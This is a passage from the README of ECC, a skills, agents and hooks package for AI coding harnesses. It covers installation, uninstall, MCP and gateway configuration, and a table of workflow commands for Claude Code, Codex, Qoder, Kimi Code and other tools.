<td>Managed project files under <code>./.kimi-code</code>; ECC hooks, model/provider settings, and authentication are not configured</td> \n  </tr> \n </tbody> \n</table> \n<p>For automation, make every provider-specific choice explicit:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided \\\n  --harness claude --harness codex --harness kimi \\\n  --claude-scope local --claude-hooks standard \\\n  --profile core --yes\n</code></pre> \n<p>Verify the native guided Codex path and managed Kimi path without writing first:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --guided --harness codex --dry-run\nnpx ecc-universal@2.2.3 install --profile core --target kimi --dry-run\n</code></pre> \n<p>Additional package-name commands are also available through the 2.2 alias:</p> \n<pre><code class=\"language-bash\">npx ecc-universal@2.2.3 consult \"security reviews\" --target claude\nnpx ecc-universal@2.2.3 install --profile minimal --target claude --with capability:machine-learning\nnpx ecc-universal@2.2.3 doctor --target kimi\n</code></pre> \n<p>Do not use <code>npx ecc-install --profile minimal --target claude</code>: <code>ecc-install</code> is a binary name inside <code>ecc-universal</code>, not a separately published npm package.</p> \n<p>ECC also ships advanced managed adapters for <code>cursor</code>, <code>antigravity</code>, <code>gemini</code>, <code>opencode</code>, <code>codebuddy</code>, <code>joycode</code>, <code>qwen</code>, <code>zed</code>, <code>hermes</code>, and <code>openclaw</code>. Those targets still use their documented <code>ecc install --target ...</code> paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness.</p> \n<h3>Pick one path only (per harness)</h3> \n<p>You can use ECC with Claude Code, Codex, and other harnesses at the same time. Choose one install method for each harness:</p> \n<ul> \n <li><strong>Recommended default:</strong> run the guided Claude plugin setup above</li> \n <li><strong>Also supported for Claude Code:</strong> use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#claude-code-details\">native plugin commands</a></li> \n <li><strong>Available in release 2.2:</strong> guided package setup for Claude Code, Codex, and Kimi Code</li> \n <li><strong>Works:</strong> Claude Code plugin + Codex native plugin</li> \n <li><strong>Works:</strong> Claude Code plugin + the legacy Codex sync flow</li> \n <li><strong>Avoid:</strong> Claude Code plugin + full Claude manual install</li> \n <li><strong>Avoid:</strong> Codex sync + Codex marketplace plugin</li> \n</ul> \n<p><strong>Do not stack install methods.</strong> Installing ECC twice into the same harness can duplicate skills, commands, hooks, or configuration; installing it once into multiple harnesses does not.</p> \n<p>If you already layered multiple installs and things look duplicated, skip straight to <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#reset--uninstall-ecc\">Reset / Uninstall ECC</a>.</p> \n<p><strong>Install trouble?</strong> Open the short <a href=\"https://github.com/affaan-m/ECC/issues/new?template=install-problem.yml\">install or runtime problem form</a>, or run <code>ecc feedback</code>. ECC never uploads diagnostics automatically.</p> \n<h3>Claude Code details</h3> \n<p>Alternatively, run Claude Code's native plugin commands inside Claude Code:</p> \n<pre><code class=\"language-text\">/plugin marketplace add https://github.com/affaan-m/ECC\n/plugin install ecc@ecc\n</code></pre> \n<p>The native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code.</p> \n<p>Claude Code owns these built-in commands, including their errors when a marketplace, plugin, or conflicting scope already exists. ECC cannot intercept that parser. If either native command reports an existing install or scope conflict, use the 2.2 guided setup or resolve the conflicting Claude plugin scope before retrying; do not layer a manual install on top.</p> \n<p>After ECC is installed, <code>/ecc:configure-ecc</code> is the namespaced in-Claude reconfiguration skill. It delegates to the same safe setup flow, but it is available only after the plugin is installed and cannot replace Claude Code's built-in <code>/plugin</code> command during a first install.</p> \n<p>Claude Code plugins cannot distribute <code>rules</code>, so add only the rule packs you actually want:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\nmkdir -p ~/.claude/rules/ecc\ncp -R rules/common ~/.claude/rules/ecc/\ncp -R rules/typescript ~/.claude/rules/ecc/  # replace with your stack\n</code></pre> \n<p>Start with <code>rules/common</code> plus one language or framework pack you actually use. If you install the plugin, do not run <code>./install.sh --profile full</code> afterward.</p> \n<details> \n <strong>Prefer settings.json? Add the marketplace declaratively</strong> \n <p>Add directly to your <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"extraKnownMarketplaces\": {\n    \"ecc\": {\n      \"source\": {\n        \"source\": \"github\",\n        \"repo\": \"affaan-m/ECC\"\n      }\n    }\n  },\n  \"enabledPlugins\": {\n    \"ecc@ecc\": true\n  }\n}\n</code></pre> \n <p>This gives you the same result as the two <code>/plugin</code> commands above.</p> \n</details> \n<details> \n <strong>Naming + migration note (ecc@ecc, affaan-m/ECC, ecc-universal)</strong> \n <p>ECC has three public identifiers, and they are not interchangeable:</p> \n <ul> \n  <li>GitHub source repo: <code>affaan-m/ECC</code></li> \n  <li>Claude marketplace/plugin identifier: <code>ecc@ecc</code></li> \n  <li>npm package: <code>ecc-universal</code></li> \n </ul> \n <p>This is intentional. Anthropic marketplace/plugin installs are keyed by a canonical plugin identifier, so ECC uses <code>ecc@ecc</code> to keep tool names and slash-command namespaces short enough for strict Desktop/API validators. Older posts may still show the former long marketplace identifier; treat that as a legacy alias only. Separately, the npm package stayed on <code>ecc-universal</code>, so npm installs and marketplace installs intentionally use different names.</p> \n <p>npm releases are cut per version tag, not per commit, so <code>ecc-universal</code> tracks releases (2.1, 2.2, ...) rather than every push to <code>main</code>. Install from git if you want the bleeding edge.</p> \n <p>If your local Claude setup was wiped or reset, that does not mean you need to repurchase anything. Start with <code>node scripts/ecc.js list-installed</code>, then run <code>node scripts/ecc.js doctor</code> and <code>node scripts/ecc.js repair</code> before reinstalling. That usually restores ECC-managed files without rebuilding your setup.</p> \n</details> \n<h3>Codex App and CLI</h3> \n<p>Current Codex releases can install ECC as a native repo-marketplace plugin. The marketplace entry uses the repository root so Codex's cache receives the manifest together with all referenced skills, MCP configuration, hook runtime, scripts, and assets:</p> \n<pre><code class=\"language-bash\">codex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\nnode scripts/codex/check-plugin-cache.js\n</code></pre> \n<p>Both add commands are idempotent. To refresh later, run <code>codex plugin marketplace upgrade ecc</code> followed by <code>codex plugin add ecc@ecc</code>. Codex stores one enabled plugin state in the active <code>CODEX_HOME</code>; it does not offer Claude's <code>user</code>, <code>project</code>, and <code>local</code> scopes. Its native hooks require an explicit trust decision and do not use Claude's four ECC hook profiles. Inside Codex, invoke <code>$configure-ecc</code> for the guided provider-aware flow.</p> \n<p>The older <code>scripts/sync-ecc-to-codex.sh</code> path is a deprecated compatibility option for users who intentionally need copied and merged configuration in <code>~/.codex</code>; it is not required for the native plugin. New sync runs write an ownership manifest so cleanup can preserve modified user files. Run Codex once first so <code>~/.codex/config.toml</code> exists, then:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\nnpm install\nbash scripts/sync-ecc-to-codex.sh\n</code></pre> \n<p>To inspect or remove that legacy layer without touching Codex conversations or native plugin caches:</p> \n<pre><code class=\"language-bash\">node scripts/ecc.js uninstall --legacy-codex-sync --dry-run\nnode scripts/ecc.js uninstall --legacy-codex-sync\n</code></pre> \n<p>Pre-manifest installations are handled conservatively: ECC removes its marked <code>AGENTS.md</code> block but preserves copied files it cannot prove it owns and reports them for review.</p> \n<p>You can also open the ECC repository directly in Codex for a project-local setup. Codex reads the root <code>AGENTS.md</code> and the trusted project configuration in <code>.codex/</code> without a global sync. Do not add the native marketplace plugin on top of the sync flow.</p> \n<p>For repo navigation, surface ownership, and PR diff packet guidance, read the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/CODEX-NAVIGATION-GUIDE.md\">Codex ECC Navigation Map</a>. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.codex-plugin/README.md\">.codex plugin notes</a> for native lifecycle details.</p> \n<h3>Qoder CLI and IDE</h3> \n<p>ECC ships a native Qoder plugin that reuses the canonical skills, agents, 95 legacy command shims, and the pinned <code>chrome-devtools</code> MCP definition. From a reviewed checkout, validate and install it with Qoder CLI:</p> \n<pre><code class=\"language-bash\">qoder plugins validate . --strict\nqoder plugins install .\nqoder plugins list\n</code></pre> \n<p>For Qoder IDE, upload a ZIP of the repository root. The ZIP root must contain <code>.qoder-plugin/</code> together with <code>skills/</code>, <code>agents/</code>, <code>commands/</code>, <code>hooks/</code>, <code>scripts/</code>, and <code>.mcp.json</code>; uploading only the manifest directory or one <code>SKILL.md</code> omits required resources.</p> \n<p>The universal Node.js 18+ requirement applies to Qoder's non-interactive hook environment. The MCP server also requires <code>npx</code> and network access on first use. Qoder receives one reviewed, cross-platform <code>SessionStart</code> bootstrap using <code>QODER_PLUGIN_ROOT</code> and exec-form arguments. ECC does not copy the full Claude hook profile into Qoder: blocking tool hooks, async stop jobs, and Claude-specific matchers remain outside this initial native integration. See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/.qoder-plugin/README.md\">.qoder-plugin notes</a> for the exact boundary.</p> \n<h3>Other agents and editors</h3> \n<details> \n <strong>Cursor, OpenCode, Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode, Copilot</strong> \n <p>Clone ECC once, then choose the target that matches your harness:</p> \n <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n</code></pre> \n <table> \n  <thead> \n   <tr> \n    <th>Harness</th> \n    <th>Install or setup</th> \n    <th>Notes</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Cursor</td> \n    <td><code>./install.sh --profile minimal --target cursor</code></td> \n    <td>Project-local <code>.cursor/</code> adapter</td> \n   </tr> \n   <tr> \n    <td>OpenCode</td> \n    <td><code>npm install &amp;&amp; npm run build:opencode &amp;&amp; ./install.sh --profile full --target opencode --enable-hooks</code></td> \n    <td>Builds the plugin payload before the full install</td> \n   </tr> \n   <tr> \n    <td>Gemini CLI</td> \n    <td><code>./install.sh --profile minimal --target gemini</code></td> \n    <td>Project-local <code>.gemini/</code> config</td> \n   </tr> \n   <tr> \n    <td>Zed</td> \n    <td><code>./install.sh --profile minimal --target zed</code></td> \n    <td>Project-local <code>.zed/</code> adapter</td> \n   </tr> \n   <tr> \n    <td>Antigravity</td> \n    <td><code>./install.sh --profile minimal --target antigravity</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ANTIGRAVITY-GUIDE.md\">Antigravity guide</a></td> \n   </tr> \n   <tr> \n    <td>Qwen CLI</td> \n    <td><code>./install.sh --profile minimal --target qwen</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/QWEN-GUIDE.md\">Qwen guide</a></td> \n   </tr> \n   <tr> \n    <td>Hermes</td> \n    <td><code>./install.sh --profile minimal --target hermes</code></td> \n    <td>See the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/HERMES-SETUP.md\">Hermes setup guide</a></td> \n   </tr> \n   <tr> \n    <td>OpenClaw</td> \n    <td><code>./install.sh --profile minimal --target openclaw</code></td> \n    <td>Managed home-directory install</td> \n   </tr> \n   <tr> \n    <td>Kimi Code CLI</td> \n    <td><code>./install.sh --profile minimal --target kimi</code></td> \n    <td>Project-local <code>.kimi-code/</code> install \u00b7 <a href=\"https://www.kimi.ai/code?aff=ecc\">Get Kimi Code</a></td> \n   </tr> \n   <tr> \n    <td>CodeBuddy</td> \n    <td><code>./install.sh --profile minimal --target codebuddy</code></td> \n    <td>Project-local <code>.codebuddy/</code> install</td> \n   </tr> \n   <tr> \n    <td>JoyCode</td> \n    <td><code>./install.sh --profile minimal --target joycode</code></td> \n    <td>Project-local <code>.joycode/</code> install</td> \n   </tr> \n   <tr> \n    <td>GitHub Copilot</td> \n    <td><code>./install.sh --profile full --target copilot</code></td> \n    <td>Installs skills to <code>.github/skills/</code> and agents to <code>.github/agents/</code> for Copilot CLI</td> \n   </tr> \n  </tbody> \n </table> \n <p>GitHub Copilot support is already included in this repository. <code>.github/copilot-instructions.md</code> provides the instruction layer, <code>.github/prompts/</code> contains the reusable <code>/plan</code>, <code>/tdd</code>, <code>/security-review</code>, <code>/build-fix</code>, and <code>/refactor</code> prompts, and <code>.vscode/settings.json</code> enables <code>chat.promptFiles</code>. GitHub Copilot CLI additionally discovers the <code>.agents/skills/</code> subset from a plain clone with no setup; see <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">Platform Support</a> for the full catalog and agents.</p> \n <p>For a harness without a native ECC target, use the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MANUAL-ADAPTATION-GUIDE.md\">manual adaptation guide</a>. It explains how to carry a small set of ECC skills and workflow instructions into chat-style tools without pretending hooks or native skill discovery are available.</p> \n <p>Cursor installs agent definitions under <code>.cursor/agents/ecc-*.md</code>. Cursor-native loading behavior can vary by Cursor build. ECC does not install root <code>AGENTS.md</code> into <code>.cursor/</code>. The adapter keeps Cursor's context scoped to its native rules and agent surfaces.</p> \n <p>Deep per-harness notes (feature parity, hook adapters, limitations) live in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/#platform-support\">Platform Support</a> below.</p> \n</details> \n<h2>Advanced Install Options</h2> \n<details> \n <strong>Low-context install with no hook runtime</strong> \n <h3>Low-context / no-hooks path</h3> \n <p>Use this when you want ECC's rules, agents, commands, platform config, and core workflows without runtime hooks:</p> \n <pre><code class=\"language-bash\">npx ecc-universal@2.2.3 install --profile minimal --target claude\n</code></pre> \n <p>From a source checkout, the equivalent command is:</p> \n <pre><code class=\"language-bash\">./install.sh --profile minimal --target claude\n</code></pre> \n <p>Windows:</p> \n <pre><code class=\"language-powershell\">.\\install.ps1 --profile minimal --target claude\n</code></pre> \n <p>This profile intentionally excludes <code>hooks-runtime</code>.</p> \n <p>Claude manual installs place each skill directly under <code>~/.claude/skills/&lt;skill-name&gt;/</code> (or <code>.claude/skills/&lt;skill-name&gt;/</code> for <code>claude-project</code>) so Claude Code can discover it. When upgrading an older ECC manual install, the installer migrates only nested <code>skills/ecc/</code> files recorded in ECC install-state. If a flat skill directory is user-owned, ECC preserves it, prints a conflict warning, and keeps any older managed copy tracked for a safe uninstall instead of overwriting user files.</p> \n <p>For the normal core profile with hooks disabled:</p> \n <pre><code class=\"language-bash\">./install.sh --profile core --without baseline:hooks --target claude\n./install.sh --profile core --no-hooks --target claude\n</code></pre> \n <p>Add the hook runtime later only if you want it:</p> \n <pre><code class=\"language-bash\">./install.sh --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <p>Any install whose profile or modules would materialize the hook runtime requires an explicit decision. Without <code>--enable-hooks</code> or <code>--no-hooks</code>, the installer prints what the hooks can do and stops before writing anything. The guided installer (<code>ecc install --guided</code>) asks for this choice interactively.</p> \n</details> \n<details> \n <strong>Choose only the components you need</strong> \n <h3>Find the right components first</h3> \n <p>Ask the packaged advisor which components match your work:</p> \n <pre><code class=\"language-bash\">node scripts/ecc.js consult \"security reviews\" --target claude\n</code></pre> \n <p>It returns matching components, related profiles, and preview/install commands. Use the preview command before installing if you want to inspect the exact file plan.</p> \n <p>You can also install explicit skills or capabilities:</p> \n <pre><code class=\"language-bash\">./install.sh --target claude --skills tdd-workflow,security-review\nnode scripts/ecc.js install --profile minimal --target claude --with capability:machine-learning\n</code></pre> \n <p>Manual component-by-component copying also works. Each component is fully independent:</p> \n <pre><code class=\"language-bash\"># Just agents\nmkdir -p ~/.claude/agents\ncp agents/*.md ~/.claude/agents/\n\n# Rules directories (common + language-specific)\nmkdir -p ~/.claude/rules/ecc\ncp -r rules/common ~/.claude/rules/ecc/\ncp -r rules/typescript ~/.claude/rules/ecc/   # pick your stack\n\n# Core/general skills only (Claude Code loads skills from direct children\n# of ~/.claude/skills; do not nest manual installs under ~/.claude/skills/ecc/)\nmkdir -p ~/.claude/skills\ncp -r .agents/skills/* ~/.claude/skills/\ncp -r skills/search-first ~/.claude/skills/\n\n# Optional: maintained slash-command compatibility during migration\nmkdir -p ~/.claude/commands\ncp commands/*.md ~/.claude/commands/\n</code></pre> \n <p>Retired shims live in <code>legacy-command-shims/</code>. Copy individual files from there only if you still need old names such as <code>/tdd</code>.</p> \n</details> \n<details> \n <strong>Project-local rules instead of global rules</strong> \n <p>Use project-local rules when ECC's standards should apply to one repository rather than every Claude Code session:</p> \n <pre><code class=\"language-bash\">cd your-project\nmkdir -p .claude/rules/ecc\ncp -R /path/to/ECC/rules/common .claude/rules/ecc/\ncp -R /path/to/ECC/rules/typescript .claude/rules/ecc/\n</code></pre> \n <p>Rules are always-loaded context, so begin with <code>common</code> and one pack for the stack you actually use. When copying rules manually, copy the whole language directory (for example <code>rules/common</code> or <code>rules/golang</code>), not the files inside it, so relative references keep working and filenames do not collide.</p> \n</details> \n<details> \n <strong>Fully manual Claude install</strong> \n <p>Use this only when you are intentionally skipping the plugin path:</p> \n <pre><code class=\"language-bash\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n./install.sh --profile full --enable-hooks\n</code></pre> \n <p>Windows:</p> \n <pre><code class=\"language-powershell\">git clone https://github.com/affaan-m/ECC.git\ncd ECC\n.\\install.ps1 --profile full --enable-hooks\n</code></pre> \n <p>These examples enable the automatic hook runtime. To install without hooks, replace <code>--enable-hooks</code> with <code>--no-hooks</code>.</p> \n <p>If you choose this path, stop there. Do not also run <code>/plugin install</code>.</p> \n <p>For hand-picked manual installs, Claude discovers skills as direct children of <code>~/.claude/skills/</code>; do not nest them under <code>~/.claude/skills/ecc/</code>.</p> \n <h4>Install hooks</h4> \n <p>Do not copy the raw repo <code>hooks/hooks.json</code> into <code>~/.claude/settings.json</code> or <code>~/.claude/hooks/hooks.json</code>. That file is plugin/repo-oriented; use the installer so hook command paths are rewritten correctly:</p> \n <pre><code class=\"language-bash\">bash ./install.sh --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <p>That installs the hook scripts under <code>~/.claude/</code> and registers the resolved hook entries in <code>~/.claude/settings.json</code>. Existing user settings and hooks are preserved; ECC-owned entries are tracked by stable ID for idempotent updates and safe uninstall.</p> \n <p>If you installed ECC via <code>/plugin install</code>, do not copy those hooks into <code>settings.json</code>. Claude Code v2.1+ already auto-loads plugin <code>hooks/hooks.json</code>, and duplicating them in <code>settings.json</code> causes duplicate execution and cross-platform hook conflicts.</p> \n <p>On Windows, Claude's config root is <code>%USERPROFILE%\\.claude</code>; install the hook runtime with:</p> \n <pre><code class=\"language-powershell\">pwsh -File .\\install.ps1 --target claude --modules hooks-runtime --enable-hooks\n</code></pre> \n <h4>Configure MCPs</h4> \n <p>Claude plugin installs intentionally do not auto-enable ECC's bundled MCP server definitions. This avoids overlong plugin MCP tool names on strict third-party gateways while keeping manual MCP setup available.</p> \n <p>Use Claude Code's <code>/mcp</code> command or CLI-managed MCP setup for live Claude Code server changes; Claude Code persists those choices in <code>~/.claude.json</code>. For repo-local MCP access, copy desired MCP server definitions from <code>mcp-configs/mcp-servers.json</code> into a project-scoped <code>.mcp.json</code>.</p> \n <p>ECC ships exactly one default connector (<code>chrome-devtools</code>); everything else is a skill wrapping a CLI/REST API or an opt-in catalog entry. The rule and the June 2026 audit that retired the previous six defaults live in <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MCP-CONNECTOR-POLICY.md\">docs/MCP-CONNECTOR-POLICY.md</a>.</p> \n <p>If you already run your own copies of ECC-bundled MCPs, set:</p> \n <pre><code class=\"language-bash\">export ECC_DISABLED_MCPS=\"chrome-devtools\"\n</code></pre> \n <p>ECC-managed install and Codex sync flows will skip or remove those bundled servers instead of re-adding duplicates. <code>ECC_DISABLED_MCPS</code> is an ECC install/sync filter, not a live Claude Code toggle.</p> \n <p><strong>Important:</strong> Replace <code>YOUR_*_HERE</code> placeholders with your actual API keys.</p> \n</details> \n<details> \n <strong>Multi-model commands require additional setup</strong> \n <p><code>multi-*</code> commands are <strong>not</strong> covered by the base plugin/rules install.</p> \n <p>To use <code>/multi-plan</code>, <code>/multi-execute</code>, <code>/multi-backend</code>, <code>/multi-frontend</code>, and <code>/multi-workflow</code>, you must also install the <code>ccg-workflow</code> runtime. Choose and review an exact release using the <a href=\"https://github.com/fengshao1227/ccg-workflow#readme\">upstream CCG installation guide</a>, then initialize that installed runtime. ECC does not bundle CCG or attest to a compatible, audited CCG release; this guide does not bootstrap an unspecified registry version.</p> \n <p>That runtime provides the external dependencies these commands expect, including:</p> \n <ul> \n  <li><code>~/.claude/bin/codeagent-wrapper</code></li> \n  <li><code>~/.claude/.ccg/prompts/*</code></li> \n </ul> \n <p>Without <code>ccg-workflow</code>, these <code>multi-*</code> commands will not run correctly.</p> \n</details> \n<details> \n <strong>Astra review requires the Codex CLI</strong> \n <p><code>/astra-review</code> sends Claude-written code to GPT-6-Astra for an independent cross-provider review. It runs the locally installed <a href=\"https://github.com/openai/codex\">Codex CLI</a> with your ChatGPT login (<code>codex login</code>); no OpenAI API key is needed, and API keys in your environment are not forwarded. Invoking the command is your consent to send that diff to OpenAI. Setup, scopes, push gating, and troubleshooting are in the <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ASTRA-REVIEW-GUIDE.md\">Astra Review Guide</a>.</p> \n</details> \n<details> \n <strong>Reset, repair, or uninstall</strong> \n <h3>Reset / Uninstall ECC</h3> \n <p>If you installed from the universal package, run these commands from the same project directory used for installation:</p> \n <pre><code class=\"language-bash\">npx ecc-universal@2.2.3 list-installed\nnpx ecc-universal@2.2.3 doctor\nnpx ecc-universal@2.2.3 repair\nnpx ecc-universal@2.2.3 uninstall --dry-run\nnpx ecc-universal@2.2.3 uninstall\n</code></pre> \n <p>From a source checkout, inspect the managed state before reinstalling:</p> \n <pre><code class=\"language-bash\">node scripts/ecc.js list-installed\nnode scripts/ecc.js doctor\nnode scripts/ecc.js repair\nnode scripts/ecc.js uninstall --dry-run\n</code></pre> \n <p>For a direct source-checkout uninstall:</p> \n <pre><code class=\"language-bash\">node scripts/uninstall.js --dry-run\nnode scripts/uninstall.js\n</code></pre> \n <p>If you are leaving, the uninstall command prints an optional <a href=\"https://github.com/affaan-m/ECC/issues/new?template=quick-feedback.yml\">20-second feedback form</a>. It is a public GitHub issue, never blocks uninstall, and ECC does not upload diagnostics. You can also run <code>ecc feedback</code> at any time to see the problem, feedback, and feature routes.</p> \n <p>Plugin users should remove the plugin from Claude Code, then delete only the rule folders they manually copied and no longer want. ECC only removes files recorded in its install-state. It does not claim unrelated files in your harness directories.</p> \n <p>If you stacked methods, clean up in this order:</p> \n <ol> \n  <li>Remove the Claude Code plugin install.</li> \n  <li>Run the ECC uninstall command from the project directory that contains the managed install-state.</li> \n  <li>Delete any extra rule folders you copied manually and no longer want.</li> \n  <li>Reinstall once, using a single path.</li> \n </ol> \n</details> \n<h2>Start Using ECC</h2> \n<p>Start with the workflow you need, not the full catalog.</p> \n<table> \n <thead> \n  <tr> \n   <th>What you are doing</th> \n   <th>Start here</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Building a feature</td> \n   <td><code>/ecc:plan \"describe the feature\"</code>, then <code>tdd-workflow</code></td> \n  </tr> \n  <tr> \n   <td>Fixing a bug</td> \n   <td>Reproduce it with a failing test, then use <code>tdd-workflow</code></td> \n  </tr> \n  <tr> \n   <td>Reviewing new code</td> \n   <td><code>/code-review</code> for a fresh-context review</td> \n  </tr> \n  <tr> \n   <td>Repairing a build</td> \n   <td><code>/build-fix</code></td> \n  </tr> \n  <tr> \n   <td>Cleaning a codebase</td> \n   <td><code>/refactor-clean</code></td> \n  </tr> \n  <tr> \n   <td>Checking context pressure</td> \n   <td><code>/context-budget</code></td> \n  </tr> \n  <tr> \n   <td>Ending a long session</td> \n   <td><code>/save-session</code> or <code>/learn-eval</code></td> \n  </tr> \n  <tr> \n   <td>Resuming later</td> \n   <td><code>/resume-session</code></td> \n  </tr> \n  <tr> \n   <td>Auditing agent config</td> \n   <td><code>/security-scan</code> with a reviewed scanner, or installed <code>agentshield scan --path .</code></td> \n  </tr> \n </tbody> \n</table> \n<details> \n <strong>Plugin commands and manual commands</strong> \n <p>Claude Code plugin commands use the namespaced form:</p> \n <pre><code class=\"language-text\">/ecc:plan \"Add authentication\"\n</code></pre> \n <p>Manual installs may expose the shorter compatibility form:</p> \n <pre><code class=\"language-text\">/plan \"Add authentication\"\n</code></pre> \n <p>Skills are the primary workflow surface. Commands remain convenient entry points and compatibility shims. Check what is installed with:</p> \n <pre><code class=\"language-bash\">/plugin list ecc@ecc\n</code></pre> \n</details> \n<details> \n <strong>Which agent should I use?</strong> \n <p>Skills are the canonical workflow surface; maintained slash entries stay available for command-first workflows.</p> \n <table> \n  <thead> \n   <tr> \n    <th>I want to...</th> \n    <th>Use this surface</th> \n    <th>Agent used</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Plan a new feature</td> \n    <td><code>/ecc:plan \"Add auth\"</code></td> \n    <td>planner</td> \n   </tr> \n   <tr> \n    <td>Design system architecture</td> \n    <td><code>/ecc:plan</code> + architect agent</td> \n    <td>architect</td> \n   </tr> \n   <tr> \n    <td>Write code with tests first</td> \n    <td><code>tdd-workflow</code> skill</td> \n    <td>tdd-guide</td> \n   </tr> \n   <tr> \n    <td>Review code I just wrote</td> \n    <td><code>/code-review</code></td> \n    <td>code-reviewer</td> \n   </tr> \n   <tr> \n    <td>Fix a failing build</td> \n    <td><code>/build-fix</code></td> \n    <td>build-error-resolver</td> \n   </tr> \n   <tr> \n    <td>Run end-to-end tests</td> \n    <td><code>e2e-testing</code> skill</td> \n    <td>e2e-runner</td> \n   </tr> \n   <tr> \n    <td>Find security vulnerabilities</td> \n    <td><code>/security-scan</code></td> \n    <td>security-reviewer</td> \n   </tr> \n   <tr> \n    <td>Remove dead code</td> \n    <td><code>/refactor-clean</code></td> \n    <td>refactor-cleaner</td> \n   </tr> \n   <tr> \n    <td>Update documentation</td> \n    <td><code>/update-docs</code></td> \n    <td>doc-updater</td> \n   </tr> \n   <tr> \n    <td>Review Go code</td> \n    <td><code>/go-review</code></td> \n    <td>go-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review Python code</td> \n    <td><code>/python-review</code></td> \n    <td>python-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review F# code</td> \n    <td><em>(invoke <code>fsharp-reviewer</code> directly)</em></td> \n    <td>fsharp-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review TypeScript/JavaScript code</td> \n    <td><em>(invoke <code>typescript-reviewer</code> directly)</em></td> \n    <td>typescript-reviewer</td> \n   </tr> \n   <tr> \n    <td>Develop HarmonyOS apps</td> \n    <td><em>(invoke <code>harmonyos-app-resolver</code> directly)</em></td> \n    <td>harmonyos-app-resolver</td> \n   </tr> \n   <tr> \n    <td>Audit database queries</td> \n    <td><em>(auto-delegated)</em></td> \n    <td>database-reviewer</td> \n   </tr> \n   <tr> \n    <td>Review production ML changes</td> \n    <td><code>mle-workflow</code> skill + <code>mle-reviewer</code> agent</td> \n    <td>mle-reviewer</td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n <strong>Common workflows</strong> \n <p>Slash forms below are shown where they remain part of the maintained command surface. Retired short-name shims such as <code>/tdd</code> and <code>/eval</code> live in <code>legacy-command-shims/</code> for explicit opt-in only.</p> \n <p><strong>Starting a new feature:</strong></p> \n <pre><code>/ecc:plan \"Add user authentication with OAuth\"\n                                              -&gt; planner creates implementation blueprint\ntdd-workflow skill                            -&gt; tdd-guide enforces write-tests-first\n/code-review                                  -&gt; code-reviewer checks your work\n</code></pre> \n <p><strong>Fixing a bug:</strong></p> \n <pre><code>tdd-workflow skill                            -&gt; tdd-guide: write a failing test that reproduces it\n                                              -&gt; implement the fix, verify test passes\n/code-review                                  -&gt; code-reviewer: catch regressions\n</code></pre> \n <p><strong>Preparing for production:</strong></p> \n <pre><code>/security-scan                                -&gt; security-reviewer: OWASP Top 10 audit\ne2e-testing skill                             -&gt; e2e-runner: critical user flow tests\n/test-coverage                                -&gt; verify 80%+ coverage\n</code></pre> \n</details> \n<h2>Self-Hosted Models and Custom Endpoints</h2> \n<p>ECC works through each harness's normal configuration, so you can use an official provider, a compatible custom API endpoint or model gateway, or a self-hosted model without changing ECC's workflows.</p> \n<p>For Claude Code, ECC does not hardcode Anthropic-hosted transport settings. Minimal gateway example:</p> \n<pre><code class=\"language-bash\">export ANTHROPIC_BASE_URL=https://your-gateway.example.com\nexport ANTHROPIC_AUTH_TOKEN=your-token\nclaude\n</code></pre> \n<p>If your gateway remaps model names, configure that in Claude Code rather than in ECC. ECC's hooks, skills, commands, and rules are model-provider agnostic once the <code>claude</code> CLI is already working. See Anthropic's <a href=\"https://docs.anthropic.com/en/docs/claude-code/llm-gateway\">LLM gateway documentation</a> and <a href=\"https://docs.anthropic.com/en/docs/claude-code/model-config\">model configuration documentation</a>.</p> \n<p>Run or self-host any open-source model behind that gateway using separate compute and serving setup. If you need GPU capacity, <a href=\"https://compute.itomarkets.com\">It\u00f4</a> is ECC's preferred compute sponsor; any GPU provider works. The sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, <code>ecc ito find</code> invokes the explicitly configured canonical It\u00f4 CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through It\u00f4 is not live yet.</p> \n<h3>Self-host Kimi with ECC + It\u00f4 compute</h3> \n<p>The Kimi Code harness and the model-serving layer are separate. ECC configures the agent harness; you bring an API endpoint (<a href=\"https://platform.kimi.ai?aff=ecc\">get a Kimi API key</a>) or self-host an open-weight Kimi model on your own GPU capacity. This adapter is verified against Kimi Code 0.31.x (<code>@moonshot-ai/kimi-code</code>):</p> \n<table width=\"100%\"> \n <tbody>\n  <tr> \n   <td align=\"center\" 